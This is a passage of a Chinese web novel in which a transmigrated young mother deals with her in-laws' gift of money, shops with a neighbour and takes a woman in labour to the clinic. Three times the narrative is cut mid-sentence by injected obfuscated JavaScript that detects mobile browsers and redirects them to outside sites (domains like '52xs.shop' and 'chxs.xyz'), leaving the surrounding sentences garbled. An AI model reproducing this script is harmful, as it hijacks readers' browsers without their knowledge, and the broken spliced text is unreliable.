苏笑笑愣了一瞬,终于接茬了?苏笑笑立刻说:“我爹娘连脸盆、水桶、洋胰子,还有床和衣柜,还有一些杂七杂八的都弄走了。要不是我在厨房门口堵着,连回门宴剩的米面油盐都保不住。他们弄走的东西看起来不贵,可是买新的应该需要不少钱。” 苏笑笑的婆婆问:“你的意思你那边现在什么也没有?” “除了厨房和我卧室以及我爷爷的遗物,所有东西都被他们拉走了。” 老张大怒:“你娘哪能这样?什么时候的事?这么大的事怎么也不告诉我们?” 苏笑笑吓了一跳。团团哆嗦一下。苏笑笑抱紧孩子。孩子他奶朝老张身上一下:“小声点,吓着孙子!” 老张小声不了,“可,可是哪能这么欺负人!”说着话站起来。团团奶奶忙问:“你去哪儿?” “我去哪儿?找他要回来!屋里的东西是老苏叔置办的,说好了留给团团,他们两口子凭什么弄走?”老张越说越气,恨不得甩根电线过去电死亲家。 团团奶奶朝对面使个眼色。老张瞬间想起他亲家是苏笑笑的爹娘。去不去得先问问她的意见,“笑笑,你咋想的?” 苏笑笑:“不是故意瞒您。事发突然,我担心我和团团一走,她把米面油盐也弄走。这几天发生了不少事,团团吓得不轻。我怕吓着团团,东西弄走就弄走吧,就当破财免灾。” 老张看着一脸茫然的大孙子,也怕大呼小叫吓着他,于是就坐回去。可他还是不甘心,忍不住说,“你爷爷的那些家具用的都是好木头啊。” “其实我也想叫你和新民过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14384144|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我要回来。我那边的邻居赵大妈说我爹娘不讲究,把他们逼急了有可能闹得新民没法工作。”团团太小,苏笑笑担心狗急跳墙伤着孩子。 张新民比陈雪父亲的工作体面。老张闻言也怕亲家发疯乱来。苏笑笑的婆婆点头:“花钱免灾,你做得对。就怕你爹娘看到你置办了新的又找你要。” “我把锁换了。” 她婆婆诧异,儿媳妇的行动力这么强吗?她不禁看一下老伴,这是咱们认识的那个老实木讷愚孝的笑笑吗。 老张点头,人被逼急了,啥事干不出来啊。 “就怕他们撬锁啊。”老张道,“你娘兴许还好点,你那个爹,真不讲究。”以前不敢讲,担心儿媳妇回去就告诉刘大军,“哪有老丈人五七还没过就改姓。” 苏笑笑道:“这一点您不用担心。原本他不想搬,就去公安局告我,说我不养父母,虐待老人。公安过去一听说他姓刘我姓苏就不太想管。他在公安局的名声不好,不敢溜门撬锁把自己往公安手里送。” 老张诧异:“他还敢找公安?” 苏笑笑点头:“不是公安出面,他和我娘哪能这么痛快。” “活该!”老张说出来,瞥到茶几上的东西,“没啥钱还买这些?” 苏笑笑假装不好意思,微微低头:“应该的。” 这话到老两口耳朵里就成了过来要钱周转备厚礼是应该的。 其实苏笑笑做好了俩人一毛不拔她拎着东西走人的准备。 而她这一低头,错过了公婆间的眉眼官司。苏笑笑听到动静抬起头,看到她婆婆起身去卧室。 张家的房子跟苏家一样,坐北朝南三间四合院。不同的是苏家是苏老爷子买的,这个四合院是十年前张家拿出全部积蓄买的。 虽然男主张怀民常年不在家,原主也很少留下过夜,但张家依然有男主一间卧室,因为房子男主出钱了。 过了有十多分钟,苏笑笑都要打哈欠,她婆婆从东间出来——西边是苏笑笑一家三口的卧室。 苏笑笑看到婆婆手里的钱很是意外,厚厚一卷都给她?怎么可能! 婆婆罗翠红到苏笑笑跟前,“家里人多,要留点钱以防万一,不能都给你。这些你拿着。”说着话就递过去,“我还是担心你爹娘回头趁你不在家撬门。这钱周一到邮局就存起来吧。等他们从你这里占不到便宜再置办东西也不迟。” 苏笑笑毫不客气地接过去,惊得睁大眼睛,比她以为的多:“这是——” “一千。”罗翠红在丈夫身边坐下,神色跟之前一般无二,无悲无喜,自然也不见一丝心疼和不舍。 饶是苏笑笑想过把原主这些年给出去的钱弄回来,也只是睡觉前想想。 真弄到这笔钱,苏笑笑反而不踏实:“我——” 老张打断:“我和你妈有退休工资,新民两口子也有工资,花不了这么多钱,给你你就拿着。” “新民知道吗?”苏笑笑问。 罗翠红:“他不用知道。” “可是弟妹知道了——” 罗翠红又说:“不怕她知道。她的工作是我和你爸安排的,知道了也不敢说什么。” 张新民的妻子是他初中学妹,高考那年正好是六六年,她不想下乡,就和家人兵分几路四处张罗对象。 当时张新民二十二岁,正好适婚年龄,张新民的同学知道了那事就给两人牵线。以前她帮街道收电费,是个临时工。她自己争气好学,在老张的帮助下接他的班,今年成了供电部门坐办公室的正式工。 苏笑笑闻言心里踏实了:“那我先拿着。”刚才就看出老两口疼团团,所以她故意补一句,“您不赞同我现在置办东西,那就存起来留团团上学。” 老两口互相看一下,看来笑笑真知道过日子了。 苏笑笑心里纳闷,文中不是说男主父母是水蛭吗。难道这里还有什么隐情。苏笑笑越想越觉着有可能。好比刘大姑,以前对苏笑笑不冷不热就是因为刘大军在她面前胡说八道。 10. 真相 上辈子苏笑笑还没看到男主家人出场,只看到罗翠红给男主去信要钱,她就睡过去。后续有可能反转。 以防以后搞出误会,苏笑笑决定抛下文中一切,跟着感觉走。 可今天这一切太顺利,始终让苏笑笑有点不踏实,还想再试试,“妈,我打算过几天给团团买几身衣服,可是商店的衣服大都不合身,麻烦你帮团团改一下?” 她公爹忍不住说:“现成的衣服贵。买布做。” 苏笑笑:“上半年存的票都被我娘给刘晨置办嫁妆。” 罗翠红手里也没有多余的布票,“先买一身,回头存了票再扯布做。” 这就同意了?苏笑笑决定回去就收拾几件旧衣服,改天连同团团的新衣服送过来,请婆婆用旧衣服给团团做几双棉鞋。 团团在妈妈怀里呆烦了,“妈妈,我尿尿!” “你想出去玩儿吧。”苏笑笑捏捏他的小脸,“上车前刚尿过。” 小孩拨开她的手下来就往外跑。 老张本能起身喊:“团团,慢点,看着门槛!” 苏笑笑见状万分确定她便宜公公疼团团。 忽然想到一种可能,公婆对她表里不一颇有微词是因为她愚孝——刘大军缺德,她非但没有跟刘大军划清界限,还给他钱花,这钱还是张怀民的工资。 以前婆家找她要钱肯定是故意的,要回去给团团存着,认为她这个娘指望不上。 为了确定这一点,苏笑笑说:“这么多钱搁身上总觉着不踏实,我想现在就去邮局存起来。” 罗翠红想也没想就说:“去吧。”突然想到苏笑笑说家里要啥没啥,“要是有啥事,先忙你的,我们看着团团。” 罗翠红的神色仿佛这笔钱本就属于苏笑笑,她着急存起来天经地义。 苏笑笑心说,这叫什么事啊。 亏得她都做好今儿不能善了的准备。 苏笑笑也庆幸“先礼后兵”,没有莽撞行事,“那我先去了。” 蹲在院里逗狸花猫的团团立刻起来:“妈妈!” “你在奶奶家,我去办点事儿。”苏笑笑道。 小孩不乐意,抓住苏笑笑的手往她身上爬。苏笑笑不得不抱起小崽子。 团团的爷爷老张问:“还有啥事?” 罗翠红担心隔墙有耳,小声说:“存钱。” 老张立刻说:“那你跟她一块去吧。邮局可不近,别半道上被谁碰掉了。” 苏笑笑猜公爹说的邮局是她工作单位。同事几乎都知道她娘转给她两千块。要是带着婆婆过去,同事来一句,“你妈和你婆婆对你怪好的,刚给你两千,这又给你一千。”她该如何收场啊。 苏笑笑赶忙问:“这边没邮局吗?” 老张想也没想就说:“有,在前面,走着过去一会儿就到。你存这边?” 钱是婆婆拿出来的,苏笑笑转向婆婆,“我怕同事见不得我好,故意在刘晨面前胡说八道。” 老张:“不让他们知道不就行了?” 罗翠红瞪一眼丈夫:“老糊涂啊你。存钱不得去邮局?刘晨在邮局四年,办存款的工作人员都认识她,瞒得住吗?” 老张恍然大悟:“对,存这边。你不知道路,让你妈带你去。” 罗翠红看一下日头,有十点多了。再耽搁下去,兴许会碰到下班回来的二儿子和儿媳妇。 罗翠红不怕他们知道,她也跟老二两口子说过,这笔钱是团团的,谁都不能动。可一千块不是小数,老二两口子省吃俭用三年也存不了这么多。即便能理解心里也会有想法。二儿媳妇再回娘家念叨几句,她娘家人再嘀咕几句,可能撑不到年底就得闹分家。 多一事不如少一事。 罗翠红立刻前面带路。 从邮局出来,罗翠红看到几个年龄相仿的人往学校方向去,就叫苏笑笑和团团先回去,她去接大孙女。 罗翠红和老张看着就比刘大军和苏母精明,苏笑笑担心一块呆久了他们看出点什么,正好需要买米买面,干脆说:“我和团团还是回家吧。昨天刘晨来过,我担心她今儿又去。” “还去干啥?”罗翠红问。 苏笑笑:“说团团小,没法去幼儿园,替我再干一年,工资分我一半,明年我娘退休她接班,再把工作还给我。” 罗翠红张张口,把“把你当傻子”几个字咽回去,“想什么呢。谁不知道她打的什么主意。” 团团不禁点头。 罗翠红笑了:“你知道啊?” 团团奶声奶气地说:“知道啊。小姨有病不吃药。” 罗翠红听糊涂了。 苏笑笑想笑:“我跟团团说她脑子不正常。” “我看也不正常。”儿媳妇看清了娘家人,罗翠红便有话直说,“你可别再相信她的话!” 苏笑笑:“不信。我们先走了啊。” “回去吧。路上慢点。”罗翠红想起什么,又补一句,“邮局要是忙不过来就把团团送过来,下午下班再把他接回去。” 苏笑笑没想到还有意外之喜,“知道了。您也多留神,快下班了,路上车多。” 罗翠红朝苏笑笑挥挥手,示意她放心吧。 苏笑笑转向怀里的小孩:“这个奶奶是不是比那个奶奶好?” 团团怀疑妈妈希望他在爷爷奶奶家等她下班,果断摇头:“我不要去奶奶家。” “哪个奶奶?”苏笑笑怀疑小孩说的是她便宜娘。 团团抬手指着远去的背影。 苏笑笑愣了一瞬,奇怪:“为什么?” “我帮妈妈上班!” 苏笑笑乐了,“好,回头叫团团帮妈妈上班。” 团团高兴地抱住苏笑笑的脖子:“妈妈,我啥都会!” 苏笑笑心说,你只会吃! “团团好棒啊。”苏笑笑说得很不走心,小孩没听出来,在她怀里高兴地上蹦下跳,苏笑笑差点脱手,“苏团团,是不是想下来自己走?!” 小孩变成乖宝,歪着小脑袋讨好似的看着她傻笑。 看到车过来,苏笑笑掏出两毛钱,然后坐到最后面:“团团饿不饿?” 团团饿了:“妈妈,我要吃面。” 苏笑笑不想吃,家里没有蛋没有肉,只能做青菜面。 厨房里还有半瓦罐猪油,苏笑笑决定去菜市场买几个土豆,看看有没有藕,买几节藕,要是有洋葱就再买几个洋葱。 到了菜市场苏笑笑才想起来布兜忘了拿。苏笑笑准备买两节藕拿回去,赵大妈拎着篮子过来。 苏笑笑随口问:“您早上没买菜?” 赵大妈点头:“院里种了不用买。这不是来客了吗,买条鱼回去烧汤。你买啥啊?” 苏笑笑:“打算买两节藕,再买两斤土豆,再买俩洋葱。” “洋葱买回去咋做?炒鸡蛋啊?” 苏笑笑摇头:“哪还有鸡蛋,都被陈雪吃了。洋葱跟土豆片一起炒,比单炒土豆有味儿。团团要是不爱吃,我就把土豆蒸熟捣碎,洋葱切丁拌着吃。” 赵大妈无法想象:“这得是啥味啊。” “比干啃土豆好吃。”苏笑笑顺势说,“我忘了拿袋子,您帮我拎着?” 赵大妈:“你做好给我尝尝。好吃我以后也蒸着吃,省油还省煤球。” 苏笑笑点点头,把团团放地上。团团拽着苏笑笑的手指着猪肉摊。苏笑笑摇头:“过两天咱们去饭店吃。” 小孩瞬间想起这几天早上吃的大肉包子,便不闹着要猪肉。 赵大妈问:“肉票也没了?” 苏笑笑点头:“都要等下个月。” 赵大妈又想骂刘大军两口子缺德。可一看周围全是人,苏笑笑肯定不希望家丑外扬,便说:“幸好你有工资可以下馆子。不然天天稀饭就咸菜,窝窝头就凉水,你受得了小团团也受不了。” 苏笑笑:“我就是怕时间长了团团受不了才跟我爹娘分开。不然一个月十斤肉也是到陈雪肚子里。” “那可不是。陈雪怀的可是老刘家的大孙子。团团姓苏。”赵大妈说出来想起苏笑笑以前跟爹娘很亲,赶忙看她神色,正好苏笑笑微微点头,赵大妈松了一口气,“以后就好了。” 苏笑笑蹲下:“赵大妈,这藕不错,你也来两节?我觉着猪油炒藕片比鱼汤香。” 赵大妈家有猪油,想想酸辣藕片端上桌挺好看,也挑两节藕。随后又跟苏笑笑一起买两斤土豆一斤洋葱。鱼没舍得买大鱼,一斤重的小鲫鱼。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384145|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大妈俩儿子,好几个孙子孙女,再加上客人,一条鱼一人一筷子也分不过来吧。苏笑笑心里这样想,但没好意思说出来。 赵大妈像是意识到自己抠搜,付了钱鱼到手里就主动坦白,小闺女下乡留在了农村,她每三个月给闺女寄一次钱。 苏笑笑不好意思问太多,又担心热心肠的赵大妈的钱打水漂:“钱能到她手里吗?” 赵大妈以前也有过这层顾虑,“能!她在东北,粮食蔬菜比城里富裕,还不用花钱买,就是手里没钱。” “东北挺好。”苏笑笑道。 赵大妈点头:“早两年回来探亲给我们带两条大鱼,一大包木耳蘑菇,还给我和她爹带两根野山参。” “妈妈,野山参是什么呀?” 小孩突然开口,苏笑笑一时没反应过来。赵大妈笑着说:“药啊。团团要吃吗?” 团团吓得直摇头。 苏笑笑伸手对赵大妈说:“我拎一会吧。” “看着团团吧。”赵大妈摇摇头,瞥到不远处排成长龙的摊位,不禁说,“中午还有鸡蛋?” 正往“长龙”跑去的街坊停下,“刚到的。说是找供销社拿的。” 赵大妈想起什么,一把抓住对方:“供销社哪来的鸡蛋?” 街坊:“好像是他们自个收的。” “收东西不是收购站的事?供销社的东西都有专人送吗?” 街坊:“好像说供销社的车就在收购站门口,收购站的工作人员挑三拣四,什么鸡蛋太大太小都不行,供销社的人就说他们不挑,论斤称,大小都要。收购站认为供销社故意的,没把他们放在眼里。供销社的人说有本事你去告啊。还说收购站官不大官威不小,拿着鸡毛当令箭,迫害贫下中农,恨不得老百姓饿死。这一通帽子扣下来,收购站哪还敢找事。” “供销社这么厉害?”赵大妈转向苏笑笑,“看着不像啊。” 苏笑笑点头:“上午去供销社买东西,我看他们也不敢跟收购站顶着干。” 街坊:“咱们这边的供销社主任怂得很,指望他啥也吃不上。人家供销社打头阵,他跟后面捡漏。快去吧,晚了就没了。” 团团爱吃鸡蛋,苏笑笑也想去:“我家定量没了。” “不用定量,一户一斤。” 苏笑笑和赵大妈互看一眼,立刻跟过去。 排了十几分钟,赵大妈手里多了两个纸袋,一个纸袋一斤鸡蛋。团团看着鸡蛋就说:“妈妈,荷包蛋!” 赵大妈笑着说:“回去就叫你妈做荷包蛋。”看到手里的鱼,“早知道能买到鸡蛋,我就不买鱼了。” 苏笑笑:“给我吧。团团这些日子没吃过好东西,正好这几天我有空好好给他补补。” 赵大妈点点头,苏笑笑就把鱼钱给她。 到苏笑笑家门口,赵大妈随苏笑笑进去。鱼放盆里养着,土豆、藕、鸡蛋和洋葱放橱柜里。赵大妈见橱柜里有米有面,“你娘总算干了件人事!” 苏笑笑想问什么人事,顺着她的视线看去,失笑:“我拦着没让拿。否则啥也留不住。” 赵大妈震惊:“她——不怕饿死你和团团?” “我姓苏,团团也姓苏,我爹姓刘,他哪还管我们死活啊。” 赵大妈脑海里浮现出一句话——嫁出去的女儿,泼出去的水。刘大军不管苏笑笑死活,可是她是她娘亲生的,“你娘呢?” “出嫁从夫啊。” 赵大妈的爹娘生在封建旧社会,思想腐旧,重男轻女,认为闺女嫁出去就是外姓人。可他们也不舍得饿死闺女和外孙。赵大妈惊叹:“真看不出来。” “我娘要面子,跟您在一块肯定善解人意通情达理。”苏笑笑道,“有些人就喜欢把好的一面留给外人,刻薄寡恩留给家人,因为家人不敢跟她计较。” 赵大妈娘家嫂子就是这样,对她儿女比对亲生的和善,所以她对苏笑笑的话深信不疑,“你也算熬出头了。我也该回家做饭了。团团,去我家跟哥哥姐姐玩玩?” 团团看妈妈,征求她的意见。 苏笑笑:“妈妈做藕片,给你做荷包蛋,需要好一会儿。妈妈做好去找你好不好?” “不要我帮你吗?”团团仰头问,“我啥都会!” 11. 乐于助人 赵大妈笑问:“团团这么会说跟谁学的?” “谁知道啊。”苏笑笑也想知道。团团前几天不这样,乖得跟猫崽子似的。苏笑笑怀疑这几天带他下馆子逛公园去供销社乘公交车的时候听谁说的,“午饭简单,妈妈忙得过来。团团留着力气帮妈妈上班吧。” 小孩点头:“我玩一会儿就回来啊。” “去吧去吧。”苏笑笑摆摆手就拉开炉子,准备淘米煮粥。 钢筋锅坐炉子上,苏笑笑洗藕削皮切片,等藕片放水里,她就去院里挑一把配菜。 一切就绪,锅开了,苏笑笑放一个半窝窝头——只有这么多。苏笑笑趁热窝窝头的时间和面,下午蒸馒头。 面好了放橱柜里发酵,苏笑笑煎两个荷包蛋,然后就着油锅做醋溜藕片。 猪油裹着醋香飘到隔壁,赵大妈对大儿媳妇道:“这个味儿跟以前一样,看来笑笑家以前都是她做饭。” 赵大妈的儿媳妇想不通,“你说都是亲生的,刘大军和两口子咋就那么偏心啊?” “我猜从笑笑不愿意改姓刘那天起,那两口子就当没生过她这个女儿。” “那还腆着脸赖着不想搬?” 赵大妈:“没良心的人干出啥事来都正常。要不是刘大军报案,笑笑跟他撕破脸,咱们说不定还觉着笑笑狠,连大着肚子的弟媳妇都容不下。” “奶奶!” 赵大妈吓一跳,回头看到大孙女跑过来,“吵吵啥?还没做好!” “咱家后边的姐姐要生了。” 小姑娘话音落下,跑进来一个五十来岁的女人,到厨房门口就请赵大妈帮忙。赵大妈不会接生,让她找别人。来人又请赵大妈的儿子骑车送她儿媳妇去医院。 可她来的不巧,赵大妈的两个儿子跟客人出去了。 赵大妈家来的客人不是外人,是她娘家侄,来还钱。这笔钱赵大妈借出去就没打算要。侄子既然给,赵大妈也没往外推。可她也知道侄子日子不好过,就给俩儿子使眼色,带着那笔钱去买杂粮。 起先赵大妈没想到这点,在苏笑笑家看到窝窝头,突然想到这年月米面限购,但杂粮好弄。红薯两分,玉米碴子不到一毛,她借给侄子的钱能买几百斤,够娘家一大家子吃月余。 来人又找赵大妈的儿媳妇。 儿媳妇犯难:“二弟的车子在家,可我不会骑。我弟妹会骑,可这段时间火柴厂忙,她好几天没回来了。” 来人急得满头汗:“那大哥呢?” “你问我家老头子?”赵大妈问,“在路口跟人侃大山。不过他也不会骑车,要不你去问问——” “团团,吃饭了。” 赵大妈眼中一亮,“来了!”朝门口看去,苏笑笑进来,“笑笑会骑车!” “她愿意吗?”来人很担忧,“我家的情况,您是知道的。” 来人叫许慧娟,她找赵大妈不是因为只有她家有自行车,而是她热心肠,不介意许慧娟家有海外关系。 要不是她儿子是机械厂离不开的工程师,领导扣着人不放,许慧娟的儿子这个时候应该在干校参加劳动改造。 赵大妈道:“笑笑愿意。笑笑,你许婶的儿媳妇快生了,儿子不在家,能不能麻烦你骑车把她送去卫生院?” 苏笑笑奇怪,赵大妈家这么多人,干嘛找她啊。 赵大妈:“我家那俩刚巧出去。” “那行啊。可是团团——” 赵大妈立刻说:“我看着。” 苏笑笑朝后面邻居许婶看去:“弟妹在哪儿?” 许慧娟立刻说:“在胡同口。” 赵大妈的大儿媳妇指着对面厢房:“车子在这儿。” 苏笑笑推着车子出去,团团迈着小短腿跟上,赵大妈抱住他:“你妈一会儿就回来。” “赵大妈,我家的饭菜好了,在案板上,您看着团团先吃,顺便帮我看着家。”苏笑笑推起车子才意识到是二八大杠,她上辈子没骑过这种车子。 幸好她有原主记忆,男主张怀民教原主骑过。苏笑笑到门外蹬上车子就跟蚯蚓似的七扭八歪。赵大妈看到这一幕吓得差点把团团扔出去:“这,笑笑行吗?” 许慧娟正想这么问,“她,她推着走也比我扶着走走得快吧?” 赵大妈抱着团团到胡同口就看到挺着大肚子的小媳妇扶着墙一点点往前移,满脸痛苦。赵大妈赶忙过去,看到她的裤子:“羊水破了?快上车!” 赵大妈的大儿媳妇扶着她坐车上,无比担忧:“笑笑,还是推着吧。” “没事!”苏笑笑抬腿从前面跨车上,“弟妹,抓住我的衣服。”还有一句苏笑笑没说,万一倒了往我身上倒。她怕这话一说,对方吓得不敢坐,“婶子,去卫生院?” 赵大妈抢先说:“对!你生团团的卫生院。” 苏笑笑的嘴巴动了动,想说“团团不是我生的”,幸好她第一次骑二八大杠载人很紧张,不敢一心二用,嘴巴慢了半拍,反应过来就把这话咽回去。 苏笑笑仔细想想,记起卫生院在何方,她就踩车蹬子。 赵大妈看着苏笑笑一开始晃晃悠悠,走了十多米就稳了,安慰许慧娟,“笑笑可能一段时间没骑不熟练。这不就好了。” 大妈的大儿媳妇悬着的心落到实处:“许婶,你也快去吧。” 许慧娟如梦初醒,拎起儿媳妇落下的包裹,又说,“赵大姐,谢谢你啊。” 赵大妈:“啥时候了还瞎客气。去吧!” 大妈的儿媳妇等人走远才问:“这家老爷子呢?” 赵大妈:“应该怕连累儿媳妇,没敢露头。” 大妈的儿媳妇不禁说:“人命关天,还在乎出身?” “有人就在意。”赵大妈朝胡同里瞥一眼,“早两天笑笑打刘晨都有人勾头看,这不比那次动静大?你看有人出来吗。” 她儿媳妇朝四周看看,家家关门闭户,连在路口聊天的人都没过来问问出啥事了。仿佛去苏家看热闹、公安撵都撵不走的不是他们。 “希望别出点啥事。不然这一大家子都得恨咱们,还得恨国恨党。” 大妈的大孙女忍不住说:“帮是情分,不帮是本分。凭什么恨咱们?她家以前要是善良,大家都受过许奶奶的恩惠,就算情况比现在严重,也有人出来帮一把。这里又没有红袖章盯着,怕啥啊?” 婆媳二人很意外,十来岁的小丫头竟然能说出这番话。 赵大妈点头:“说得对。你许奶奶是好人,可惜不当家。她家老头子以前见天儿在咱们面前提笼架鸟,眼睛长到头顶上,比皇帝还像个爷!” 大孙女道:“所以真出点什么事也是祖辈作孽报应到她身上!” 赵大妈往周围看了看,确定只有她们一家和小团团,放心下来:“不许这样说!传出去还以为你小小年纪性子就刻薄。” 小姑娘她妈不禁问:“那你刚才还大呼小叫喊你奶?” “也不能见死不救啊。”小姑娘道。 啥话都让她说了。婆媳二人相顾无言。 团团有话说:“赵奶奶,我饿啦。” “那不能饿着团团。”赵大妈叫儿媳妇回家炒菜,她去苏笑笑家。 苏笑笑原本以为把团团叫过来就可以吃饭,所以粥、窝窝头以及醋溜藕片和荷包蛋都在案板上。 赵大妈到厨房就看到碗筷摆放得好好的。赵大妈给团团洗洗手,坐到团团身边:“要不要奶奶喂?” “不要!”团团拿起筷子,发现荷包蛋重,放下筷子用手抓。 赵大妈下意识说:“不能用手,团团——反正你妈不在,把你洗的干干净净,你妈也不知道。” “妈妈说可以用手。” 赵大妈怀疑听错了:“你妈让你用手抓?” 团团点头:“妈妈给团团洗手。” 赵大妈想说苏笑笑惯孩子,可一看到团团稚嫩的小脸,让他用长长的筷子才是难为他,“藕片不能用手抓。你妈回来还得吃。”找一个空碗,夹几片藕片放碗里给他。 荷包蛋吃完,团团就抓藕片。 赵大妈问:“这个荷包蛋不吃了?” “妈妈的。”苏笑笑这几天教团团一人一个,团团虽然很想吃,还是忍住了,“妈妈一个我一个!”指着藕片,“赵奶奶,妈妈一半我一半。” 赵大妈正在心里感叹苏笑笑会教孩子,团团也懂事可人。乍一听到他的话愣了片刻才反应过来。看碟子里的藕片,别说一半,三成团团也吃不完。 赵大妈拿起筷子拨三成到团团碗里,把荷包蛋放藕碟中,然后放在有热粥的钢筋锅里温着,又在箅子上放一个窝窝头,指着碗里的藕片和半个窝窝头:“团团,这是你的。” 团团点了点小脑袋,很是乖巧听话。 五分后,团团把藕片吃完就要洗手,稀粥和窝窝头一口没碰。 赵大妈让他喝粥,他要妈妈。劝他吃口窝窝头,他问妈妈什么时候回来。赵大妈怀疑小孩故意的,可她没证据。又担心团团哭着喊着要笑笑,不敢吓唬小孩多吃点,只能把他的窝窝头和粥放橱柜里,拽着他出去洗手。 伺候好小崽子,赵大妈把门锁上,拉着团团去她家。 幸好赵大妈的孙子孙女今儿下午没课。团团跟他们玩得开心,忘了找妈妈。 再说苏笑笑,可能因为她不善骑车,不停颠簸,颠的小孩受不了,她把人送到卫生院不到一小时就生了。 苏笑笑听说母女平安就想离开,可许慧娟头一回当奶奶,跟无头苍蝇似的六神无主。苏笑笑心想帮人帮到底,于是上前问:“许婶,有没有饭盒?” 许慧娟愣了愣神:“没啊。你,你饿了?我这里只有搪瓷缸子。”从包裹里翻出写着“为人民服务”的白色搪瓷缸子。 苏笑笑接过去:“我去打点水。”其实去食堂买半缸子粥,又买两个萝卜缨包子,放在反放的缸盖上。苏笑笑边走边啃完一个包子。到产科门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384146|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口苏笑笑把缸子递过去,“吃点东西吧。” 许慧娟愣住,苏笑笑递到她手里,她回过神就问苏笑笑多少钱。粥和素包子便宜,苏笑笑道:“不值钱。吃吧。啥时候出院?” 许慧娟接过去道一声谢,就说:“医生说留院观察一会儿,没事就能回去。” 苏笑笑本想回家,听了这话把告辞的话咽回去。许慧娟在她旁边喝粥,声音很轻。苏笑笑看她一下,像有良好教养的大家小姐。关于她的事浮现在脑海中,苏笑笑没猜错,许慧娟的出身搁以前确实不错,大清灭亡前她父亲还是天子门生。 不过自打革命开始,这家人就成了鹌鹑,平时碰到她和赵大妈这些街坊会招呼一句,但没什么交情。 苏笑笑前世今生都可以说涉世未深,一些侃侃而谈的大道理都是从家人长辈和网上学的,她不敢跟经历复杂的人打交道,所以把人送到家,许慧娟请她进屋喝水,苏笑笑以担心团团为由告辞。 车子还给赵大妈,团团从堂屋里跑出来:“妈妈!” 苏笑笑抱起小崽子:“吃饭了吗?” 团团点头:“妈妈吃了吗?” “吃个包子。”苏笑笑看着随后出来的赵大妈,喊一声“赵大妈”就道谢,“麻烦你了。” 赵大妈笑道:“看你说的。是我给你添麻烦了。你许婶的儿媳妇没啥事吧?” “没事。孩子也挺好。”苏笑笑奇怪,“刚才去她家,她丈夫和儿子好像都不在家?” 赵大妈:“儿子上班的机械厂离这边远,一周回来一次。一会儿该回来了。她丈夫担心出来撞到红袖章,天天躲家里。” 赵大妈的大孙女问:“笑笑姐姐,你吃的包子是她买的还是你买的啊?” 大孙女的妈朝她身上一下:“喊姑!” 小姑娘躲到苏笑笑身后,当没听见:“笑笑姐——” “几毛钱的东西,谁买不一样啊。” 小姑娘点头:“懂了,你买的。”摇了摇头,“难怪没人愿意帮他们。” 苏笑笑想想中午的情形,这条胡同跟只有她和赵大妈两户人家似的,“放心吧,我不傻,亏吃一次就够了。赵大妈,我先回去了。” “钥匙给你!”赵大妈把兜里的钥匙递过去。 苏笑笑到厨房看到锅里的东西很意外:“团团,怎么不吃荷包蛋?” “妈妈一个我一个啊。”小孩的神色理所当然。 苏笑笑摸摸窝窝头温热,估计粥还没凉透:“喝粥吗?” 团团不饿,看妈妈吃得香忍不住想尝尝。苏笑笑看他点头就盛半碗,把荷包蛋里的糖心戳破流到粥里,然后递给团团。团团第一次这么吃,味道有点怪,但不难吃,举起勺子叫妈妈尝尝。 虽然苏笑笑不止一次告诉自己,团团以后就是她儿子,可她还是在意小崽子的口水,“团团吃吧。妈妈喜欢吃藕。” 小孩信以为真,攥着勺子呼啦呼啦喝完就拍拍自己的小肚子:“妈妈,晚上不吃饭。” “那晚上不做了啊。”苏笑笑看一下偏西的太阳,再过一两个小时天就黑了,“要不要去赵奶奶家玩一会儿?” 团团摇头,趴案板上,歪着脑袋看着妈妈吃饭。 苏笑笑吃好把剩的粥盛在一个盆里,窝窝头和菜吃完就刷锅洗碗。炉子拉开烧几壶水,把馒头蒸了,给鱼换一次水,和团团洗漱后就封炉子回屋。 这个时候堪堪天黑。 苏笑笑以前有块表,但被刘晨要走了,理由是苏笑笑在家用不着表。那块表苏笑笑本打算要回来,可一想到刘晨用了四年,沾满了她的汗水,苏笑笑想想就恶心。 没有手表,苏笑笑猜此刻最多六点。这个时候睡觉太早,苏笑笑找个本子画出跳棋格,做许多圆形和方形小纸片,“团团,玩不玩跳棋?” “我不会呀。” 苏笑笑:“妈妈教你啊。” 团团挤到苏笑笑怀里,苏笑笑抬手把他放对面,“下棋要面对面。” 团团似懂非懂地点点头。 苏笑笑拉亮电灯吹灭油灯。 起初苏笑笑以为这屋没有电灯。掌握了原主的身体,苏笑笑才想起刘大军嫌电费贵,除了陈雪和刘旭屋里,他们都用煤油灯。不过以陈雪不知道爱幼的德行,将来也难尊老,有刘大军后悔的一天。 团团学着妈妈把枕头放身后,两条小短腿塞被窝里:“妈妈,有人敲门。” “听错了。”苏笑笑装没听见,“妈妈走一步,你走一步。” 